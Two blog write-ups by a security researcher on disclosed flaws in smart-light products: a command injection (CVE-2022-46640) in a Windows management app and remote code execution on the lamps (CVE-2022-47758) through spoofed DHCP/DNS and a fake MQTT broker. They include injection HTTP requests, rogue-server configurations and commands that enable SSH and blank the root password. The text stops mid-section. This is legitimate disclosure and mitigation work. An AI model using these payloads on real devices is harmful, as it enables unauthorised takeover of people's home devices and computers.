08 Bře

How I hacked IoT management apps: the story behind CVE-2022-46640

Have you ever wondered how secure desktop applications really are? Recently, we put one of them to the test and found some critical vulnerabilities such as unauthenticated Remote Code Execution (CVE-2022-46640), Local File Inclusion and Remote Wireless Reconfiguration which allowed us to remotely compromise the Windows desktop. In this blogpost, we're going to share our experience hacking into a desktop app with a very large number of downloads, and explain how we were able to do it. Whether you're a developer, a security researcher, or just someone curious about software security, you won't want to miss this interesting write-up. So, let's dive in!

Content

  1. Introduction to IoT desktop apps
  2. Proof of Concept exploit
  3. Analyzing the IoT desktop app
  4. Creating a Proof of Concept exploit
  5. Conclusion

Introduction to IoT desktop apps

Smart lighting has evolved beyond just mobile apps. With the rise of desktop apps, managing smart lights has become even more convenient. Desktop apps for smart lighting allow users to manage their smart lights from their computers, with some apps offering unique features like a more user-friendly interface or advanced automation options.

Desktop apps for smart lighting can pose security risks, including potential vulnerabilities that hackers could exploit to gain access to a user's smart lights and even the desktop itself… To minimize these risks, users should download apps from trusted sources, and especially update apps and operating systems regularly. Additionally users can separate IoT networks from normal networks.

The desktop app we managed to exploit was written in Electron with an back-end server written in Express.js. The back-end Express.js server was accessible from any device which meant that remote exploitation was possible.  

Proof of Concept exploit

In order to exploit the command injection vulnerability (which leads to unauthenticated RCE) we can send a mere HTTP request as Proof of Concept (PoC). The root cause is a command injection vulnerability in an unauthenticated Express.js API endpoint on the device that changes the active WiFi network. This "intended" WiFi reconfiguration functionality itself is an RWR vulnerability because an attacker can set up their own malicious WiFi network and make the target device connect to it to eavesdrop it.

The code that causes this command injection vulnerability is located in the Windows WiFi network subsystem of the application. We can supply a malicious access point SSID in the HTTP request which allows us to inject our own commands into execCommand().

function connect(ap) { console.log("using windows wifi handler"); return scan().then((networks) => { ... }).then(() => { return execCommand('netsh wlan add profile filename="nodeWifiConnect.xml"'); }).then(() => { return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`); }).then(() => { ... }).catch((err) => { console.warn("windowsWifi connectToWifi Error:", err); return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => { return Promise.reject(err); }); });
}
connect(ap) – the code that contains the command injection vulnerability

The payload in the malicious HTTP request is a JSON body including the new WiFi SSID and the new WiFi password. We can supply an SSID that escapes the command netsh wlan delete profile "${ap.name}" to exploit it. An example of such SSID is {"name": "\"&calc.exe&::"} – in which & is used to background the command and :: to comment out everything that follows.

POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
Content-Length: 75
Content-Type: application/json {"new_network":{"name":"attacker_ssid","password":"attacker_pass"}}
HTTP request for the typical credential check
POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
Content-Length: 75
Content-Type: application/json {"new_network":{"name":"\"&calc.exe&::","password":"attacker_pass"}}
HTTP request containing our own payload which executes calc.exe

This proof of concept payload spawns the Windows calculator on the desktop of the vulnerable target device. According to our research it is possible to make a fully fletched shell that can upload files, download files, and execute commands all while using native vulnerabilities we found in the app. Those vulnerabilities like LFI, LFW, et cetera have been patched by the vendor due to our research as well.

Analyzing the IoT desktop app

In order to find vulnerabilities in the desktop app, we need to get our hands on the code. To find the relevant code, I tried searching in the app directory for strings that get shown when running the app. If the app was a compiled PE executable we should still get results. Using grep -iRe "Sign In" we can find the file app.asar. An ASAR file turns out to be a source code package for an Electron app. We found the asar tool developed by Electron themselves and used it to extract the source code from the ASAR file using asar e app.asar out.

The first thing we researched when we got access to the source code was finding the entrypoint of the application. Since the project structure looked an aweful lot like an Express.js webserver, we started looking for the initialization of the webserver to find the host, port and routes. It turns out that the ports are provided in an environment and that the app listens to port 56751 and binds to 0.0.0.0 (due to its lack of providing an interface).

The fact that the server binds to 0.0.0.0 is the root cause of all vulnerabilities listed in this blogpost. Because the interface doesn't bind to just localhost (a.k.a. 127.0.0.1), any device on the network can connect to the webserver. This is fundamentally not necessary in this usecase and it's making exploitation possible from other devices. If the server binded to 127.0.0.1 instead, there wouldn't be RCE since remote devices would be able to communicate with the webserver.

 production: { env: 'production', root: rootPath, app: { name: 'device-monitor-server' }, port: 56751, redis: { host: process.env.REDIS_ADDRESS, port: 6379 } }
config/config.js – containing information about the environment

global.App = { app: app, env: env, server: http.createServer(app), config: require('./config/config'), port: require('./config/config').port, // ... start: function() { if (!this.started) { // ... this.server.listen(this.port) console.log("Operating System :", process.platform); console.log("Running App Version " + App.version + " on port " + App.port + " in " + App.env + " mode") } }
}
application.js - binding to 0.0.0.0:56751

Since we found out that the webserver binds to 0.0.0.0:56751, we can now start looking for API routes, since the Electron app uses those to manage the smart lights. After running a few grep queries for "routes", we found config/routes.js. This file contains more than 60 API routes from actions like managing the smart devices to changing WiFi settings on the host.

// ... app.get('/network/info', EncryptionController.getCurrentNetworkInfo);
app.post('/network/reconnect', EncryptionController.reconnectToNetwork);
app.get('/wides', EncryptionController.getWifis); app.post('/validateWifiPassword', EncryptionController.validateWifiPassword); app.post('/wac/device', dnssdController.enableWACMode, EncryptionController.connectDeviceToNetwork, dnssdController.disableWACMode, dnssdController.getDevices); // ...
config/routes.js – containing the routes of the app

We analysed nearly all 60 endpoints and found plenty of vulnerabilities – all of which can be exploited remotely because the server binds to 0.0.0.0. We started analysing the endpoints with a priority on dangerous endpoints – the endpoints which call command execution functions. We searched for those using grep -iRe "execCommand", which only gave app/utils/windowsWifi.js back. Analysing this file gave the following dangerous functions:

function execCommand(cmd) { return new Promise((resolve, reject) => { exec(cmd, env, (err, stdout, stderr) => { /* ... */ }); });
}
execCommand – the primary dangerous function being used
function connect(ap) { console.log("using windows wifi handler"); return scan().then((networks) => { // ... }).then(() => { // ... }).then(() => { return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`); }).then(() => { // ... }).catch((err) => { console.warn("windowsWifi connectToWifi Error:", err); return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => { // ... }); });
}
connect(ap) – dangerous function containing

The function connect(ap) sticks out because it executes a command with user input injected into the command. If we could set ap.name to "& calc&, we should be able to start calc.exe on the management desktop. In order to check whether or not we could control ap.name from a webrequest, we ran another grep query for connect and got results.

We found validateWifiPassword(req, res) which is a callback for app.post('/validateWifiPassword', ...). This function calls platformWifi.connect, in which platformWifi is a class dependent on the OS of the host. If it is Windows, it calls the vulnerable connect(ap) function above – otherwise it will use a secure version. This means that only Windows is vulnerable.

let platformWifi; if (process.platform === 'win32') { // node-wifi does not work well for some operations on Windows, so import our own library for them platformWifi = require('../utils/windowsWifi');
} else { platformWifi = wifi;
}
platformWifi – the selected WiFi library
function validateWifiPassword(req, res) { const new_network = req.body.new_network; if (!new_network.name || !new_network.password) { // ... } console.log(`Checking wifi creds for ${new_network.name}...`); const callback = (err) => { // ... }; let accessPoint = { name: new_network.name, password: new_network.password }; platformWifi.connect(accessPoint, callback);
}
validateWifiPassword() – the API callback function

The validateWifiPassword() function requests the parameter new_network with subparameters name and password. These are passed directly into platformWifi.connect(accessPoint, callback), which means that there's a command injection vulnerability since we can supply an arbitrary SSID into the command netsh wlan connect ssid="${ap.name}".

Creating a Proof of Concept exploit

We have vision on our exploitable primitives: command injection through an HTTP request sent to the API endpoint POST /validateWifiPassword hosted on a webserver that binds to 0.0.0.0:56751. Let's go through it from start to finish.

We're starting the exploit by sending a request to the following Express.js API endpoint that binds to 0.0.0.0:56751. The API endpoint triggers a call to EncryptionController.validateWifiPassword().

app.post('/validateWifiPassword', EncryptionController.validateWifiPassword);
The API endpoint registration including its callback function

The validateWifiPassword() function is a wrapper for sanitizing the user input and handling request output. The user input is expected in the HTTP body and is expected to have the form of new_network.name (for the WiFi SSID) and new_network.password (for the WiFi password). The easiest way to do this is using a JSON structure like {"new_network":{"name":"ABC","password":"XYZ"}}.

function validateWifiPassword(req, res) { const new_network = req.body.new_network; if (!new_network.name || !new_network.password) { console.error("Invalid request object."); return res.sendStatus(422); } console.log(`Checking wifi creds for ${new_network.name}...`); const callback = (err) => { if (err) { // ... } console.log("Successfully connected to", new_network.name); return res.sendStatus(204); }; let accessPoint = { name: new_network.name, password: new_network.password }; platformWifi.connect(accessPoint, callback);
}
validateWifiPassword() – the IO wrapper around wifi.connect()

Next, the function windowsWifi.connect() gets called. This function calls the dangerous execCommand function plenty of times using user controllable input. Specifically, new_network.name gets used for the command injection. This means that we have to inject a payload as new_network.name to achieve RCE on the webserver.

function connect(ap) { console.log("using windows wifi handler"); return scan().then((networks) => { ... }).then(() => { return execCommand('netsh wlan add profile filename="nodeWifiConnect.xml"'); }).then(() => { return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`); }).then(() => { ... }).catch((err) => { console.warn("windowsWifi connectToWifi Error:", err); return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => { return Promise.reject(err); }); });
}
connect() – the function containing vulnerable code

We're dealing with the command netsh wlan connect ssid="${ap.name}" name="${ap.name}" and we can control ${ap.name}. We want to execute the Windows calculator (calc.exe) to get a graphical proof of concept on the vulnerable device. To do this, we need to escape the quotes of the command and ignore the rest of the command. This would look something like netsh wlan connect ssid=""&calc.exe&::" name=""&calc.exe&::"where only netsh wlan connect ssid=""& calc.exe& gets executed since :: makes the rest of the line a comment. We use & to background the task, so netsh wlan connect ssid="" can fail in the background whilst calc.exe can succeed in the background. This means that we need to make our SSID "&calc.exe&::. The entire HTTP request would become as follows.

POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
content-type: application/json
Content-Length: 61 {"new_network":{"name":"\"&calc.exe&::","password":"xyz"}}
The PoC payload executing calc.exe on the target device

Conclusion

In conclusion, we exploited a command injection vulnerability by sending an HTTP request to a remote vulnerable Express.js API webserver that binds to all interfaces. Our internal research concluded that it's possible to make a fully fletched shell using vulnerabilities in this app, that could upload/download files and execute commands which would make it ideal for attackers.

The mitigations for these vulnerabilities would be as follows: only bind to interfaces that need access (in this case 127.0.0.1) to prevent remote access all together; sanitize controllable user input (especially when executing commands); disable remote wireless reconfiguration all together to prevent MitM attacks; disable arbitrary file operations (c.q. reading and writing) as it will only introduce vulnerabilities.

Going forward, we recommend users to keep their software up-to-date as vendors continuously release patches for vulnerabilities like those shown in this blogpost. Additionally we recommend more advanced users to use firewalls on their devices, which should deny incoming traffic by default as it can prevent lots of vulnerabilities.

Furthermore, the vulnerabilities in said desktop app were patched by the vendor in December 2022, a month after coordinated vulnerability disclosure (CVD). The vendor gave us explicit permission to publish this blogpost (under the agreement we wouldn't mention the vendors name nor desktop app name) and to publish CVE-2022-46640.

We hope you learned reading this blogpost as much as we did researching the vulnerabilities, and thank you for taking the time to read this blogpost.

Notselwyn, March 2023

08 Bře

How I hacked smart lights: the story behind CVE-2022-47758

In this blogpost, we take a closer look at our research regarding CVE-2022-47758: a critical vulnerability impacting a very large number of Internet of Things smart devices. We could leverage this vulnerability in the lamp's firmware for unauthenticated remote code execution on the entire device with the highest privileges and hence abuse it for information gathering (and for haunting someone in their own house). Additionally, we could pivot to the management devices using a vulnerability in the smart lamps' desktop management software (CVE-2022-46640). To make matters more interesting: the vulnerable traffic flowed through an encrypted outbound connection which means that it typically isn't blocked by a firewall. This blogpost serves as a cautionary tale for both vendors and consumers, highlighting the importance of IoT security. Join us as we dive into the technical details and lessons learned from our research.

Content

  1. Introduction to smart lighting
  2. Proof of Concept exploit
  3. Analyzing the smart device firmware
  4. Creating a Proof of Concept exploit
  5. Conclusion

Introduction to smart lighting

IoT smart lighting bring convenience and style to your home lighting. These lamps can be controlled through a variety of devices, including smartphones and computers, allowing you to change the color, brightness, and even schedule when they turn on and off. This allows you to customize your lighting to fit your mood and needs, making your home a more comfortable and inviting place. The integration of these lamps into the internet of things (IoT) allows for even greater control and automation, streamlining your home lighting experience and making it easier than ever to create the perfect ambiance.

However, as with any connected device, there are security implications to consider. A vulnerability in one of these smart lamps could potentially give an attacker access to your home network and other connected devices… It is important to follow best practices for securing your home network to reduce the risk of a security breach. Examples of these best practices are keeping your devices' software up-to-date and perhaps even keeping the smart devices on a seperate sub-network to avoid privacy concerns.

Proof of Concept exploit

The goal of our proof of concept (PoC) exploit is proving that we can remotely execute code on our own smart lamps. For the PoC exploit we're redirecting local traffic to the vendors MQTT(S) broker to our own machine via malicious DNS records. In practice, an attacker could perform this redirect by committing either a rogue DHCP server attack, hacking a router, hacking a DNS server, et cetera. Once we have control over the MQTT traffic, we send a debugging command to a debugging endpoint on our smart lamp. Finally, we activate a persistent OpenSSH server in order to easily access the lamp.

Methodology

We use the following methodology in this blogpost:

  • *.acme.org – the vendor domain names
  • mqtt.acme.org – the vendor MQTT broker domain name
  • 192.168.128.0/24 – our controlled network environment
  • 192.168.128.10 – our attacker machine
  • 192.168.128.20 – our vulnerability smart device

Spoofing DNS

In order to spoof DNS we need to set up a rogue DHCP server. The Dynamic Host Configuration Protocol (DHCP) is primarily used by network administrators to set the private ip addreses of devices on the network dynamically. However, DHCP packets also have a few more interesting parameters: domain name servers IP addresses, hostnames, and even gateway IP addresses. In order to MitM MQTT traffic to mqtt.acme.org, we are setting the domain name of the smart lamp by creating a malicious DHCP offer – using our rogue DHCP server – which sets the domain name server to 192.168.128.10.

By installing isc-dhcp-server on our Linux install and configuring it to run maliciously on our local network environment (192.168.128.0/24). We want to make the smart lamp use our own DNS resolver over at 192.168.128.10.  The configuration we use is as following:

subnet 192.168.128.0 netmask 255.255.255.0 { range 192.168.128.10 192.168.128.254; option broadcast-address 192.168.128.255; option routers 192.168.128.1; option subnet-mask 255.255.255.0; option domain-name-servers 192.168.128.10; # set DNS resolver host router { hardware ethernet <mac_router>; fixed-address 192.168.128.1; } host attacker { hardware ethernet <mac_attacker>; fixed-address 192.168.128.10; } host lamp { hardware ethernet <mac_lamp>; fixed-address 192.168.128.20; }
}
/etc/dhcp/dhcpd.conf – setup DHCP server to spoof DNS and spoof DNS

In order to change the IP address to which mqtt.acme.org points, we need to setup our own DNS resolver by installing bind9 and setting a custom DNS record for the zonemqtt.acme.org which points to our own MQTT broker:

;
; BIND data file for local loopback interface
;
$TTL	604800
@	IN	SOA	mqtt.acme. root.mqtt.acme.org. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 )	; Negative Cache TTL ;
@	IN	NS	ns.mqtt.acme.org.
ns	IN	A	192.168.128.10
@	IN	A	192.168.128.10
/etc/bind/named.conf.local – malicious DNS record (redirects traffic to our malicious IP)

Setting up a malicious MQTT broker

Since our traffic to mqtt.acme.org now points to our own IP address (192.168.128.10), we can eavesdrop the traffic. However, in order to interact with this traffic, we need to set an MQTT broker up on 192.168.128.10. We do this so we can publish to a custom debugging MQTT channel devoted to debugging (custom made by Acme). By publishing on this MQTT channel, we can execute commands. It's important that the server listens on port 443, has TLS encryption and allows anonymous logins. Hence, if the smart lamp tries to connect to mqtts://[email protected]:443 it should succeed. We configured it by using the following configuration:

# Place your local configuration in /etc/mosquitto/conf.d/
#
# A full description of the configuration file is at
# /usr/share/doc/mosquitto/examples/mosquitto.conf.example listener 443
cafile /etc/mosquitto/ca_certificates/ca.crt
keyfile /etc/mosquitto/certs/server.key
certfile /etc/mosquitto/certs/server.crt
tls_version tlsv1.2
allow_anonymous true
protocol mqtt persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log include_dir /etc/mosquitto/conf.d
/etc/mosquitto/mosquitto.conf – malicious MQTT(S) broker to allows all logins

As you might have noticed, we are dealing with MQTTS. Like HTTPS, the S in MQTTS stands for Secure. In order to make such a protocol secure, we need to create TLS certifications so we can encrypt the MQTT trafifc coming from our own MQTT broker. We can create such TLS certifications by running the following command:

$ openssl genrsa -des3 -out /etc/mosquitto/ca_certificates/ca.key 2048
$ openssl req -new -x509 -days 1826 -key /etc/mosquitto/ca_certificates/ca.key -out /etc/mosquitto/certs/ca.crt
$ openssl genrsa -out /etc/mosquitto/certs/server.key 2048
Creating TLS keys/certificates using OpenSSL

Performing the exploit

Now we have our infrastructure set up, we need to reboot the lamp such that it will trigger a DHCP discover request as part of the Discover Offer Request Accept (DORA) sequence. The next part of the DORA sequence would be 'Offer', where the server offers a new IP address (and our domain name server IP address) to our smart lamp. That offer will set the lamps DNS records of mqtt.acme.org to 192.168.128.10.

We can confirm that the vulnerable smart lamp is using our own MQTT broker by inspecting the local traffic using Wireshark on 192.168.128.10. After the victim device has connected to our server, we want to activate an OpenSSH server. In order to do this, we create the /acme/ssh_enabled file which enables persistent SSH access after the device reboots. We could probably do it without rebooting, be it would be a lot more unnecessary effort. After that, we stop the debugging of the touch command, and instead debug passwd -d root which deletes the password for the root user. This is convenient, because the default password is unknown and this way we can set the password without a TTY. Additionally the SSH server allows passwordless logins. In order to pull it off, we execute the following commands using mosquitto_pub (publishes messages to the Mosquitto broker):

$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt
Sending our payloads to our own MQTT broker

Once we started the OpenSSH server on the smart lamp, we can log into our smart lamp by simply executing ssh [email protected].

$ ssh [email protected] [email protected]:~ $ uname -a
Linux AcmeProduct-MAC 4.14.195 #0 Sun Sep 6 16:19:39 2020 mips GNU/Linux

Analyzing the smart device firmware

Since we have access to the firmware, we can analyze the firmware by extracting it using Binwalk – a tool for analyzing and extracting firmware. By running it with the -e (--extract) parameter, we can extract the firmware partitions. In our case, we can see that we have 3 partitions: a bootloader, a kernel, and an OpenWRT install (interestingly enough).

$ binwalk -e 4.5.1.firmware DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
80 0x50 uImage header, header size: 64 bytes, header CRC: 0xF012020D, created: 2020-09-06 16:19:39, image size: 1594132 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0xFB832D09, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-4.14.195"
144 0x90 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 5029060 bytes
1594276 0x1853A4 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 7060690 bytes, 1210 inodes, blocksize: 262144 bytes, created: 2020-09-06 16:19:39
Binwalk output when extracting the firmware

Enumerating the OpenWRT installation

The output of Binexp is a SquashFS filesystem instance which got carved out of the extracted partition. SquashFS performs heavy compressions and hence it probably was used by the smart lamp developers because it saves storage costs. Since SquashFS doesn't have different layers such as OverlayFS, we do not have any hassle regarding fixing the FS.

$ tree . -L 2
.
├── 4.5.1.firmware
└── squashfs ├── bin ├── dev ├── etc ├── lib ├── mnt ├── acme_config ├── overlay ├── proc ├── rom ├── root ├── sbin ├── sys ├── tmp ├── usr ├── var -> tmp └── www
The output directory of binwalk

One of the first things we did was verifying with what OS we were working and checking which users existed on the device. After we established that the lamp was running OpenWRT – a router OS interestingly enough – and we couldn't find any custom users in /etc/passwd, we decided to look into the next interesting directory: /acme_config/.

$ cat etc/os-release NAME="OpenWrt"
VERSION="19.07.4"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 19.07.4"
VERSION_ID="19.07.4"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r11208-ce6496d796"
OPENWRT_BOARD="ramips/mt76x8"
OPENWRT_ARCH="mipsel_24kc"
OPENWRT_TAINTS="no-all busybox"
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt 19.07.4 r11208-ce6496d796"
/etc/os-release – OS related information
$ cat etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
/etc/passwd – users on the device

We started searching in /acme_config/ for interesting keywords such as grep -iRPe '(ssh)|(mqtt)|(ftp)|(api)' to find possible exposed services as an attack surface. As we researched the binaries containing the specified keywords, we found out that a particular binary called ColorCC.bin contained the entire smart lamp API accessible via HTTP (built using the OpenAPI C++ SDK). We tried searching for memory corruption bugs for easy RCE but could not find any. Next, a binary called cloud_daemon caught our attention because it contained an MQTT client…

Investigating the MQTT handler

In order to grasp the internal logic of the cloud_daemon, we can open it in Ghidra. Ghidra is a software reverse engineering suite developed by the National Security Agency (NSA). We can use Ghidra to decompile Assembly instructions (the raw instructions that go into the CPU) into normal C, which is relatively readable by code monkeys like us.

void main(int argc,char **env)
{ int iVar1; long lVar2; int i; char **ppcVar3; long port; char *pcVar4; char addr_str [128]; pthread_t pThread; undefined4 uStack_34; char *pcStack_30; printf("This is Cloud Daemon version %s (%s)\n","1.12.0", "1.12.0 / Wed Aug 26 09:08:45 EDT 2020 / Backlog0740 / Color_develop"); signal(2,ctrlc_handler); signal(0xf,ctrlc_handler); memset(addr_str,0,0x80); port = 0; do { if (argc <= 1) { // set MQTT channel variables sprintf(&update_server,"acme/device/%s/update/server",&ROM_SERIAL_NUMBER); sprintf(&update_client,"acme/device/%s/update/client",&ROM_SERIAL_NUMBER); sprintf(&exec_server,"acme/device/%s/exec/server",&ROM_SERIAL_NUMBER); sprintf(&exec_client,"acme/device/%s/exec/client",&ROM_SERIAL_NUMBER); sprintf(&uptime_server,"acme/device/%s/uptime/server",&ROM_SERIAL_NUMBER); sprintf(&uptime_client,"acme/device/%s/uptime/client",&ROM_SERIAL_NUMBER); // print which MQTT channels will be used for what printlog(3,"We will publish firmware communications to [%s]\n",&update_client); printlog(3,"We will receive firmware communications from [%s]\n",&update_server); printlog(3,"We will publish debug communications to [%s]\n",&exec_client); printlog(3,"We will receive debug communications from [%s]\n",&exec_server); printlog(3,"We will publish health communications to [%s]\n",&uptime_client); printlog(3,"We will receive health communications from [%s]\n",&uptime_server); set_host(addr_str, port); // creates posix thread to execute the start_firmware_checks() function while (iVar1 = pthread_create(&pThread, NULL, start_firmware_checks, &DAT_00414c84), iVar1 != 0 ) { printlog(1,"Error creating https upgrade check thread, retrying in %d seconds ...\n",timeout); printlog(1,"Error in (func, line): %s, %d\n", &function, 0x41f); sleep(timeout); } printlog(2, "Successfully launched https upgrade check thread\n"); cloud_pipe_start(&ROM_DEVICE_ID,&ROM_SERIAL_NUMBER, channel, on_disconnect_cb, on_tick_cb, 1000); if (DAT_004152f0 != 0) { printlog(2, "Rebooting\n"); system("reboot"); } return; }
}
main() function – initializes the MQTT client channels
Client will publish firmware communications to [acme/device/serialno/update/client]
Client will receive firmware communications from [acme/device/serialno/update/server]
Client will publish debug communications to [acme/device/serialno/exec/client]
Client will receive debug communications from [acme/device/serialno/exec/server]
Client will publish health communications to [acme/device/serialno/uptime/client]
Client will receive health communications from [acme/device/serialno/uptime/server]
Communication channels used by MQTT client

We can see that cloud_pipe_start() (libcloudpipe.so) is called in main(), which registers several callback functions: cloud_pipe_start(..., ..., register_channels, on_disconnect_cb, on_tick_cb, ...). The function register_channels is a wrapper for registering handlers for the MQTT channels discussed above.

void register_channels(void)
{ printlog(2,"Connection up\n"); cloud_pipe_subscribe(&uptime_server,respond_healthcheck); cloud_pipe_subscribe(&update_server,update_firmware); cloud_pipe_subscribe(&exec_server,debug); return;
}
register_channels() – registers the MQTT message handlers per MQTT channel

The most interesting handler function sounds like debug, which handles messages on the channel /acme/device/serialno/exec/server. This function handles debug requests: it can execute a binary (debug a process) based on the MQTT requests parameters, or kill the process (stop the debugging). In order to start debugging a binary, we can publish the following the the server exec channel: debug /bin/echo "Hello World!", of which "Hello World!" should be nicely returned in an MQTT message on the channel /acme/device/serialno/exec/client. When we want to execute another binary or generally stop debugging, we can simply issue a stop command.

So far, I hope that the following part of the MQTT payload in the PoC exploit makes sense:

# create a file called /acme_config/ssh_enabled by 'debugging' /bin/touch
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt # stop debugging so we can execute another command
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt # delete (reset) the root password by 'debugging' /bin/passwd
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt # stop debugging so we can execute another command
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt # reboot to start the OpenSSH server, but we can probably do it without reboot
$ mosquitto_pub -L mqtts://127.0.0.1:443/acme/device/serialno/exec/server -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt
A rewind to the PoC exploit payload commands

Investigating the communication protocol

Now we have a primitive for our exploit: a debugging endpoint which could be abused if we could send messages on the /acme/device/serialno/exec/server channel of the MQTT broker. Mind you, it would cause CHAOS if this MQTT broker could be hacked to allow an attacker to send messages to all devices connected to the MQTT broker. Since we don't want to try to hack the vendor since it would be cybercrime, we aren't going to test the official MQTT broker, so we tried to find ways to MitM the traffic going to mqtt.acme.org, however we couldn't succeed since it used TLS… But – we asked ourselves – what if the TLS configuration was insecure? E.g. an insecure version?

In order to find the TLS configuration, we dug into the functions that were called to setup the MQTT client: cloud_pipe_subscribe and cloud_pipe_start. By running a simple grep -iRe 'cloud_pipe_subscribe' query again, we can see that our function is originating from /acme_config/acme_programs/libcloudpipe.so.

$ grep -iRe 'cloud_pipe_subscribe'
grep: lib/libcloudpipe.so: binary file matches
grep: acme_config/acme_programs/cloud_daemon: binary file matches
grep: acme_config/acme_programs/libcloudpipe.so: binary file matches
grep: sbin/cloud_daemon: binary file matches
grep – utility for searching strings

An interesting part of the cloud_pipe_start() function is the subsystem where a TLS network connection gets initiated by ConnectNetwork() and the MQTTClient gets initiated by MQTTClient(). We can find the TLS configuration in ConnectNetwork() and I quickly identified the used TLS library as mbedtls. Whilst searching for documentation of the used functions in the mbedtls library, I found out that the parameter MBEDTLS_SSL_VERIFY_NONE gets passed to the configuration function mbedtls_ssl_conf_authmode. This means that TLS certifications are not validated…

 sprintf(port_str,"%d",port); printf(" . Connecting to %s:%s...",addr,port_str); fd_stdout = stdout; fflush(stdout); param1 = mbedtls_net_connect(&ctx_net,addr,port_str,0); if (param1 != 0) { printf(" failed\n ! mbedtls_net_connect returned %d\n\n",param1); return -1; } puts(" ok"); initiated_seed = 0; printf(" . Setting up the SSL/TLS structure..."); fflush(fd_stdout); pcVar4 = (char *)0x0; pcVar3 = (code *)0x0; success = mbedtls_ssl_config_defaults((undefined4 *)&ssl_config,0,0,0); if ((int *)success == (int *)0x0) { puts(" ok"); // mbedtls_ssl_conf_authmode() - Set the certificate verification mode // // #define MBEDTLS_SSL_VERIFY_NONE 0 mbedtls_ssl_conf_authmode((int)&ssl_config,0); mbedtls_ssl_conf_rng(ssl_config, mbedtls_ctr_drbg_random, &ctx_ctr_drbg_init); pcVar3 = (code *)fd_stdout; mbedtls_ssl_conf_dbg((int)&ssl_config,&LAB_0002d068,fd_stdout); success = mbedtls_ssl_setup((undefined4 *)&DAT_00100838,&ssl_config);
ConnectNetwork() – create the TLS connection to a server

We have the final piece.

Creating a Proof of Concept exploit

The primitives in our exploit are complete: we have a dangerous debugging endpoint listening to a server which can be eavesdropped. Now it's a matter of performing a Man-in-the-Middle (MitM) attack on the MQTT broker and creating a payload to send.

We have plenty of options to MitM network traffic when the TLS certifications aren't verified, but our favorite approach is using a rogue DHCP server to serve fake DNS records. We picked the isc-dhcp-server DHCP service because it works on Linux and because it's very customizable. We're using option domain-name-server to set the DNS server to 192.168.128.10 on the smart lamp. This means that if the lamp requests mqtt.acme.org, it will be resolved by our own DNS resolver over at 192.168.128.10

We used bind9 as a DNS resolver in order to create fake DNS zones/records. We created a basic type A (IPv4) DNS record for mqtt.acme.org which redirects to our own MQTT broker 192.168.128.10. Usually these kind of attacks are prevented by verifying the TLS certifications of the broker as a client, but the smart lamp did not perform those verification checks.

For the final serice we needed an MQTT broker, for which we chose mosquitto. We didn't configure it at all and just made sure that it was possible to publish and subscribe to any MQTT channels. However, we had to make sure that our service was running on port 443 (which is typically used for HTTPS), that it supported TLS, and that anonymous logins were allowed (anonymous login means that any username/password is allowed to login).

Now we have our entire infrastructure up and running, we need to send the payload commands to our own MQTT broker. We can easily use the mosquitto_pub utility for this to publish our own messages to specific channels. Additionally, we can use the mosquitto_sub utility for subscribing to other channels so that we can receive stdout from the smart lamp. In order to easily get our very own OpenSSH server we need to create a file called /acme_config/ssh_enabled and reboot. However, root is the only user with a default shell (/bin/ash)  but we don't know its password.

$ cat etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
